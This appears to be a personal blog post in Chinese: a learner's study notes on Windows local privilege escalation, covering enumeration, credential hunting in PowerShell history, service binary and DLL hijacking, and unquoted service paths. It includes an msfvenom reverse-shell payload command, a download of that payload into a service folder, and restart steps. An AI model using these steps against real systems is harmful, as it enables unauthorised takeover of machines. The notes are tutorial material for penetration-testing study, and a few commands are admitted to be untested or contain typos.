Windows权限提升完全不会版

Windows权限提升完全不会版

EnchanterW Lv2

一、Windows信息枚举

(一)Windows权限及访问控制介绍

Windows通过SID、access token、MIC、UAC等来进行权限控制。

SID是一个用来区分不同实体的独特编码,其通过LSA来进行产生,在域中由DC进行产生,在生成后无法进行任何修改。SID的格式为“S-R-X-Y”,其中:

  • “S”表示这是一个SID。
  • “R”表示SID的修订版本。
  • “X”表示标识符权威,表明SID是由哪个机构或系统生成的。
  • “Y”表示子权威值,用于区分同一标识符权威下不同的用户或组。例如,“S-1-5-21-1234567890-1234567890-1234567890-1001”是一个用户账户的SID。

Access token在用户进行登录时由系统产生给用户。用户在创建一个进程时会给进程赋予一个primary token来提示进程具有哪些权限等。

Windows拥有四个权限等级:

  • System:system、kernel,拥有最高权限,几乎可以访问和操作系统的任何部分。
  • High:高权限用户,通常是指管理员账户,可以进行大部分系统管理和配置操作。
  • Medium:普通权限用户,一般是指标准用户账户,权限相对受限,无法进行一些关键的系统设置更改。
  • Low:权限受限账户,如www-data等服务账户,权限非常有限,主要用于运行一些特定的服务,防止这些服务被恶意利用时对系统造成较大危害。

UAC(用户账户控制)提供了一种方法使管理员等高权限用户拥有两个不同权限的access token,能够在普通权限和高权限之间切换赋予进程权限。

(二)系统基本信息探测

1. 几个基本的需要确认的信息

  • 用户名(username)和主机名(hostname)
  • 当前用户的用户组(group)
  • 存在的用户和组
  • 系统的版本和补丁等
  • 网络侧信息,网段等
  • 系统中安装的应用
  • 正在运行的进程

2. 用户/组信息收集

1
2
3
4
5
6
7
CMD:
whoami
whoami /groups
PowerShell:
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember xxx(组名)

3. 系统信息收集

1
2
3
4
5
6
7
systeminfo
ipconfig /all
route print
netstat -ano
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname //64位系统
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Windows\CurrentVersion\Uninstall\*" | select displayname //32位系统
Get-Process //查看进程

(三)在系统中寻找敏感信息

敏感文件查找——利用Get-ChildItem

1
2
Get-ChildItem -Path C:\(基目录) -Include *.扩展名,可以多选 -File -Recurse -ErrorAction SilentlyContinue //静默错误
type 文件 cat 文件 //用来读取信息两个都能用没区别

获得密码后在命令行中如何切换用户

使用Runas。但是这个有局限性,如果你没有GUI界面的话无法调起UAC授权界面来输入密码,所以无法进行用户切换。为此我们可以使用PsExec脚本来实现切换用户。使用方法如下:

  • 首先需要下载PsExec工具,将其放置在可执行的目录下。
  • 然后在命令行中使用以下命令格式进行用户切换:psexec -u 用户名 -p 密码 命令,例如psexec -u administrator -p password cmd,即可以管理员身份打开一个新的命令提示符窗口。

(四)寻找PS中的敏感信息

利用条件和原因:powershell存在记录命令历史的功能,这个功能由两个不同的方式来提供,一般通过clear-history清除的只有其中一个,另一个没有清除的历史里面还记录了transcription脚本的内容等信息(PSReadline)。

Get-history

1
Get-history //查询容易被清空的历史记录

Get-PSReadlineOption

1
Get-PSReadlineOption //获取PSReadline的信息

HistorySavePath:如C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,这个地方存着历史信息,通过type来查看内容。

Enter-PSSession是什么有什么作用?怎么用?

  • Enter-PSSession是PowerShell的一个命令,用于建立与远程计算机的交互式会话,使用户能够在远程计算机上直接运行命令,就像在本地计算机上一样。它允许用户在远程系统上执行脚本、管理服务、配置设置等操作。
  • 使用方法:Enter-PSSession -ComputerName 计算机名 -Credential 用户名,例如Enter-PSSession -ComputerName remotePC -Credential domain\user,然后输入密码即可建立会话。

(五)在命令行中获取到的交互式shell存在问题时的解决方法

当在命令行中获取到的交互式shell存在问题时,可以通过evil-winrm工具来进行操作。evil-winrm是一个基于Ruby的工具,它允许用户通过WinRM协议与Windows系统进行交互,具有较好的稳定性和功能扩展性。

(六)自动化工具——以winpeas举例

winpeas是一个用于Windows系统的信息收集和权限提升辅助工具,它会自动收集系统中的各种信息,包括但不限于用户信息、系统配置、网络连接、运行的进程等,并尝试寻找可能的权限提升点。

  • 回显内容解释
    • 用户信息:列出系统中存在的用户账户及其所属组,帮助攻击者了解当前系统中可能存在的高权限账户。
    • 系统配置信息:包括系统版本、补丁信息、安装的应用程序等,这些信息有助于攻击者判断系统是否存在已知的漏洞,从而选择合适的攻击方法。
    • 网络连接信息:显示当前系统的网络连接状态、IP地址、网关等信息,这对于攻击者进行横向移动或寻找其他攻击目标非常有帮助。
    • 运行的进程信息:列出系统中正在运行的进程及其对应的用户权限,攻击者可以寻找具有高权限的进程,尝试通过进程注入等方法提升自己的权限。
    • 权限提升点提示:winpeas会根据收集到的信息,分析出可能的权限提升点,如未修复的漏洞、配置不当的服务等,并给出相应的提示和建议。

自动化工具还有Powerup.ps1

二、利用Windows服务

劫持二级制文件

在安装应用的过程中开发人员可能会对应用的权限配置出现失误,导致全部用户组拥有对应用的读写权限。在这种情况下拥有低权限的用户可以替换应用的二级制文件然后重新启动service来导致以高权限来执行恶意的二进制文件。一旦操作成功我们便会得到该service的权限,例如LocalSystem等。

如何获取已经安装的Windows服务?

我们可以通过services.mscGet-ServiceGet-CimInstanceGet-WmiObject来实现目的。我们主要关注三个信息“名称、状态、二进制文件的位置” 可以用select来选择name、state、pathname来过滤我们想要的东西,然后通过Where-Object选项来过滤出哪些服务并没有在运行。拼接以上命令

使用 Get-ServiceSelect-ObjectWhere-Object
1
2
3
Get-Service | 
Select-Object -Property Name, Status, @{Name='Path';Expression={$_.PathName}} |
Where-Object { $_.Status -like 'Running' }

经过测试这个命令貌似不会输出path来

最佳实践:使用 Get-CimInstanceSelect-ObjectWhere-Object
1
2
3
Get-CimInstance -ClassName Win32_Service | 
Select-Object -Property Name, State, PathName |
Where-Object { $_.State -like 'Running' }
使用 Get-WmiObjectSelect-ObjectWhere-Object
1
2
3
Get-WmiObject -Class Win32_Service | 
Select-Object -Property Name, State, PathName |
Where-Object { $_.State -ne 'Running' }

进一步我们可以通过icacls检查这些路径我们的权限是什么样子的

1
2
icacls "C:\example\folder"
此命令将显示C:\example\folder目录及其所有子目录和文件的当前权限设置。
  • F:完全控制
  • M:修改
  • RX:读取和执行
  • R:只读
  • W:只写

利用我们可写的二进制文件我们构造自己的恶意文件然后替换掉,然后重启服务,或者重启机器来触发执行

需要注意的是大部分服务需要管理员权限才能控制,所以我们一般只能操作自动执行的服务通过

1
Get-CimInstance -ClassName Win32_Service | select name , startmode |wehere-object {$_.name -like '服务名'}

来查看是否是自动启动

想要重启机器的话我们还需要另外一个名为SeShutDownPrivilege才能进行操作。利用先前提到过的whoami /priv来检查拥有权限

需要注意的是这个命令只检查当前process是否具备这些权限。(这块我没弄明白如果这样的话为啥还要检查权限呢?)

劫持DLL

DLL:动态链接库。Windows在程序寻找所需的dll时候遵循以下顺序未包装应用的搜索顺序

当未包装应用加载模块且未指定完整路径时,系统会在加载时按以下顺序搜索 DLL:


启用安全 DLL 搜索模式(默认启用)

  1. DLL 重定向。
  2. API 集。
  3. 并排(SxS)清单重定向。
  4. 已加载模块列表。
  5. 已知 DLL。
  6. Windows 11, version 21H2(10.0; Build 22000)及更高版本。进程的包依赖图。这是应用程序的包以及在应用程序包清单的 <Dependencies> 部分中指定为 <PackageDependency> 的任何依赖项。按它们在清单中出现的顺序搜索依赖项。
  7. 应用程序加载的文件夹。
  8. 系统文件夹。使用 GetSystemDirectory 函数获取此文件夹的路径。
  9. 16 位系统文件夹。没有函数可以获取此文件夹的路径,但会进行搜索。
  10. Windows 文件夹。使用 GetWindowsDirectory 函数获取此文件夹的路径。
  11. 当前文件夹。
  12. PATH 环境变量中列出的目录。这不包括由 App Paths 注册表键指定的每个应用程序路径。计算 DLL 搜索路径时不会使用 App Paths 键。

禁用安全 DLL 搜索模式: 如果禁用了安全 DLL 搜索模式,则搜索顺序与上述顺序相同,只执行从7~12


我们可以利用 Process Monitor来查看当前实时的进程信息以及其关联的文件系统和注册表,我们需要去查找我们能够替换成我们的恶意dll的信息

但是我们需要管理员权限才能运行Process Monitor,这个时候我们就可以复制目标应用出来我们本地机器然后本店监测它加载什么dll

在这个地方我想到一个GitHub上看到过的项目虽然没用过呢(QAQ太菜了用不到)

::github{repo=”ImCoriander/ZeroEye”}

后续补充一下关于恶意dll如何撰写

Abuse未被引号包裹的路径

Windows 中的未加引号的服务路径漏洞发生在使用包含空格的路径安装服务时,而这些路径没有正确使用引号。如果攻击者获得了服务安装目录的写权限,他们可以利用这些权限以提升的权限执行恶意代码。

在 Windows 中,如果文件路径包含空格且未用引号括起来,操作系统会根据预定义的规则假设文件的位置。

这个过程涉及按以下顺序检查潜在路径:

C:\Program.exe

C:\Program Files\Vulnerable.exe

C:\Program Files\Vulnerable Service1\Service.exe

C:\Program Files\Vulnerable Service1\Service 1.exe (最终到达指定路径)

手动枚举
  1. 打开命令提示符,并使用以下命令查找是否存在易受未加引号的服务路径漏洞的服务应用:

    1
    wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
  2. 使用以下命令查找 START_TYPESERVICE_START_NAMEBINARY_PATH_NAME

    1
    sc qc "Vulnerable Service 1"
  3. 使用 icacls 识别服务安装文件夹的权限:

    1
    icacls "C:\Program Files\Vulnerable Service1"

结果

  • 存在一个名为“Vulnerable Service 1”的易受攻击的服务。
  • 该服务在机器启动后自动启动。
  • 该服务由 Local System 运行。
  • BUILTIN\Users 可以在 C:\Program Files\Vulnerable Service1 文件夹中写入。
工具枚举
  1. 运行 SharpUp 工具并执行未加引号的服务路径漏洞的枚举,可以使用以下命令并附上适当的参数:

    1
    SharpUp.exe audit UnquotedServicePath

结果

  • 通过工具枚举出未加引号的服务路径漏洞。

利用

要利用此漏洞,请按照以下步骤操作:

  1. 验证服务状态:

    1
    sc query "Vulnerable Service 1"
  2. 使用 msfvenom 创建恶意 exe 文件:

    1
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=1234 -f exe > Service.exe
  3. 在你的 Kali 机器上打开一个监听器。

  4. 将恶意可执行文件传输到 C:\Program Files\Vulnerable Service1

    1
    iwr -Uri http://<ip>:<port>/Service.exe -Outfile "C:\Program Files\Vulnerable Service1\Service.exe"
  5. 尝试确定你是否有权限重新启动服务或重新启动机器:

    1
    2
    sc stop "Vulnerable Service 1"
    sc start "Vulnerable Service 1"

结果

  • 在你的 Kali 机器上验证反向 Shell。

三、测试其他Windows方向

计划任务

就像在linux一样Windows也可以通过计划任务提权,只要我们有对计划任务执行的文件的操作权限。

存在提权漏洞的应用exp等

Windows应用可能会爆出的漏洞能够导致exp。这块子就需要我们前期信息收集足够仔细。我记得向日葵的特定版本、搜狗输入法的特定版本等应用均爆出过漏洞。这些都是国内的应用,针对国外的软件的话还是要靠遇到时候的快速反应。

四、写在最后

这一章学习前后跨度太长了,而且我对于Windows的权限控制还是理解的很模糊,感觉好多东西都是似懂非懂的样子,另外也没有进行过实践。

Windows的水好深啊!救我!

226abafed0302f352283a84595350c3

在这里放几个仓库链接以及推荐的文章吧,也是我接下来空闲时间需要去深入学习的东西

::github{repo=”nickvourd/Windows-Local-Privilege-Escalation-Cookbook/“}

https://ares-x.com/categories/Pentesting/

https://payloads.online/archivers/2018-11-30/1/

https://www.bilibili.com/video/av51717543/

  • Title: Windows权限提升完全不会版
  • Author: EnchanterW
  • Created at : 2025-04-12 09:00:00
  • Updated at : 2025-09-20 20:06:49
  • Link: https://enchanter-w.github.io/2025/04/12/16.5Windows权限提升完全版/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments